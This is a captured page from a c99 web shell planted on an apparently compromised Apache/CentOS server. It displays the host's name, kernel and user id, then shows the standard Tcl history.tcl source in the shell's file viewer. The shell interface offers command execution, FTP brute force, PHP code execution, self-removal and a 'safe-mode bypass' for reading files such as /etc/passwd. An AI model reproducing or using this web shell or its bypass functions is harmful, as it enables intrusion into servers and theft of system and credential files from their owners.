!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/tcl8.4/   drwxr-xr-x
Free 40.63 GB of 127.8 GB (31.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     history.tcl (8.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# history.tcl --
#
# Implementation of the history command.
#
# RCS: @(#) $Id: history.tcl,v 1.5.14.1 2005/07/22 21:59:40 dgp Exp $
#
# Copyright (c) 1997 Sun Microsystems, Inc.
#
# See the file "license.terms" for information on usage and redistribution
# of this file, and for a DISCLAIMER OF ALL WARRANTIES.
#

# The tcl::history array holds the history list and
# some additional bookkeeping variables.
#
# nextid    the index used for the next history list item.
# keep        the max size of the history list
# oldest    the index of the oldest item in the history.

namespace eval tcl {
    variable history
    if {![info exists history]} {
    array set history {
        nextid    0
        keep    20
        oldest    -20
    }
    }
}

# history --
#
#    This is the main history command.  See the man page for its interface.
#    This does argument checking and calls helper procedures in the
#    history namespace.

proc history {args} {
    set len [llength $args]
    if {$len == 0} {
    return [tcl::HistInfo]
    }
    set key [lindex $args 0]
    set options "add, change, clear, event, info, keep, nextid, or redo"
    switch -glob -- $key {
    a* { # history add

        if {$len > 3} {
        return -code error "wrong # args: should be \"history add event ?exec?\""
        }
        if {![string match $key* add]} {
        return -code error "bad option \"$key\": must be $options"
        }
        if {$len == 3} {
        set arg [lindex $args 2]
        if {! ([string match e* $arg] && [string match $arg* exec])} {
            return -code error "bad argument \"$arg\": should be \"exec\""
        }
        }
        return [tcl::HistAdd [lindex $args 1] [lindex $args 2]]
    }
    ch* { # history change

        if {($len > 3) || ($len < 2)} {
        return -code error "wrong # args: should be \"history change newValue ?event?\""
        }
        if {![string match $key* change]} {
        return -code error "bad option \"$key\": must be $options"
        }
        if {$len == 2} {
        set event 0
        } else {
        set event [lindex $args 2]
        }

        return [tcl::HistChange [lindex $args 1] $event]
    }
    cl* { # history clear

        if {($len > 1)} {
        return -code error "wrong # args: should be \"history clear\""
        }
        if {![string match $key* clear]} {
        return -code error "bad option \"$key\": must be $options"
        }
        return [tcl::HistClear]
    }
    e* { # history event

        if {$len > 2} {
        return -code error "wrong # args: should be \"history event ?event?\""
        }
        if {![string match $key* event]} {
        return -code error "bad option \"$key\": must be $options"
        }
        if {$len == 1} {
        set event -1
        } else {
        set event [lindex $args 1]
        }
        return [tcl::HistEvent $event]
    }
    i* { # history info

        if {$len > 2} {
        return -code error "wrong # args: should be \"history info ?count?\""
        }
        if {![string match $key* info]} {
        return -code error "bad option \"$key\": must be $options"
        }
        return [tcl::HistInfo [lindex $args 1]]
    }
    k* { # history keep

        if {$len > 2} {
        return -code error "wrong # args: should be \"history keep ?count?\""
        }
        if {$len == 1} {
        return [tcl::HistKeep]
        } else {
        set limit [lindex $args 1]
        if {[catch {expr {~$limit}}] || ($limit < 0)} {
            return -code error "illegal keep count \"$limit\""
        }
        return [tcl::HistKeep $limit]
        }
    }
    n* { # history nextid

        if {$len > 1} {
        return -code error "wrong # args: should be \"history nextid\""
        }
        if {![string match $key* nextid]} {
        return -code error "bad option \"$key\": must be $options"
        }
        return [expr {$tcl::history(nextid) + 1}]
    }
    r* { # history redo

        if {$len > 2} {
        return -code error "wrong # args: should be \"history redo ?event?\""
        }
        if {![string match $key* redo]} {
        return -code error "bad option \"$key\": must be $options"
        }
        return [tcl::HistRedo [lindex $args 1]]
    }
    default {
        return -code error "bad option \"$key\": must be $options"
    }
    }
}

# tcl::HistAdd --
#
#    Add an item to the history, and optionally eval it at the global scope
#
# Parameters:
#    command        the command to add
#    exec        (optional) a substring of "exec" causes the
#            command to be evaled.
# Results:
#     If executing, then the results of the command are returned
#
# Side Effects:
#    Adds to the history list

 proc tcl::HistAdd {command {exec {}}} {
    variable history

    # Do not add empty commands to the history
    if {[string trim $command] eq ""} {
    return ""
    }

    set i [incr history(nextid)]
    set history($i) $command
    set j [incr history(oldest)]
    unset -nocomplain history($j)
    if {[string match e* $exec]} {
    return [uplevel #0 $command]
    } else {
    return {}
    }
}

# tcl::HistKeep --
#
#    Set or query the limit on the length of the history list
#
# Parameters:
#    limit    (optional) the length of the history list
#
# Results:
#    If no limit is specified, the current limit is returned
#
# Side Effects:
#    Updates history(keep) if a limit is specified

 proc tcl::HistKeep {{limit {}}} {
    variable history
    if {$limit eq ""} {
    return $history(keep)
    } else {
    set oldold $history(oldest)
    set history(oldest) [expr {$history(nextid) - $limit}]
    for {} {$oldold <= $history(oldest)} {incr oldold} {
        unset -nocomplain history($oldold)
    }
    set history(keep) $limit
    }
}

# tcl::HistClear --
#
#    Erase the history list
#
# Parameters:
#    none
#
# Results:
#    none
#
# Side Effects:
#    Resets the history array, except for the keep limit

 proc tcl::HistClear {} {
    variable history
    set keep $history(keep)
    unset history
    array set history [list \
    nextid    0    \
    keep    $keep    \
    oldest    -$keep    \
    ]
}

# tcl::HistInfo --
#
#    Return a pretty-printed version of the history list
#
# Parameters:
#    num    (optional) the length of the history list to return
#
# Results:
#    A formatted history list

 proc tcl::HistInfo {{num {}}} {
    variable history
    if {$num eq ""} {
    set num [expr {$history(keep) + 1}]
    }
    set result {}
    set newline ""
    for {set i [expr {$history(nextid) - $num + 1}]} \
        {$i <= $history(nextid)} {incr i} {
    if {![info exists history($i)]} {
        continue
    }
    set cmd [string map [list \n \n\t] [string trimright $history($i) \ \n]]
    append result $newline[format "%6d  %s" $i $cmd]
    set newline \n
    }
    return $result
}

# tcl::HistRedo --
#
#    Fetch the previous or specified event, execute it, and then
#    replace the current history item with that event.
#
# Parameters:
#    event    (optional) index of history item to redo.  Defaults to -1,
#        which means the previous event.
#
# Results:
#    Those of the command being redone.
#
# Side Effects:
#    Replaces the current history list item with the one being redone.

 proc tcl::HistRedo {{event -1}} {
    variable history
    if {$event eq ""} {
    set event -1
    }
    set i [HistIndex $event]
    if {$i == $history(nextid)} {
    return -code error "cannot redo the current event"
    }
    set cmd $history($i)
    HistChange $cmd 0
    uplevel #0 $cmd
}

# tcl::HistIndex --
#
#    Map from an event specifier to an index in the history list.
#
# Parameters:
#    event    index of history item to redo.
#        If this is a positive number, it is used directly.
#        If it is a negative number, then it counts back to a previous
#        event, where -1 is the most recent event.
#        A string can be matched, either by being the prefix of
#        a command or by matching a command with string match.
#
# Results:
#    The index into history, or an error if the index didn't match.

 proc tcl::HistIndex {event} {
    variable history
    if {[catch {expr {~$event}}]} {
    for {set i [expr {$history(nextid)-1}]} {[info exists history($i)]} \
        {incr i -1} {
        if {[string match $event* $history($i)]} {
        return $i;
        }
        if {[string match $event $history($i)]} {
        return $i;
        }
    }
    return -code error "no event matches \"$event\""
    } elseif {$event <= 0} {
    set i [expr {$history(nextid) + $event}]
    } else {
    set i $event
    }
    if {$i <= $history(oldest)} {
    return -code error "event \"$event\" is too far in the past"
    }
    if {$i > $history(nextid)} {
    return -code error "event \"$event\" hasn't occured yet"
    }
    return $i
}

# tcl::HistEvent --
#
#    Map from an event specifier to the value in the history list.
#
# Parameters:
#    event    index of history item to redo.  See index for a
#        description of possible event patterns.
#
# Results:
#    The value from the history list.

 proc tcl::HistEvent {event} {
    variable history
    set i [HistIndex $event]
    if {[info exists history($i)]} {
    return [string trimright $history($i) \ \n]
    } else {
    return "";
    }
}

# tcl::HistChange --
#
#    Replace a value in the history list.
#
# Parameters:
#    cmd    The new value to put into the history list.
#    event    (optional) index of history item to redo.  See index for a
#        description of possible event patterns.  This defaults
#        to 0, which specifies the current event.
#
# Side Effects:
#    Changes the history list.

 proc tcl::HistChange {cmd {event 0}} {
    variable history
    set i [HistIndex $event]
    set history($i) $cmd
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0136 ]--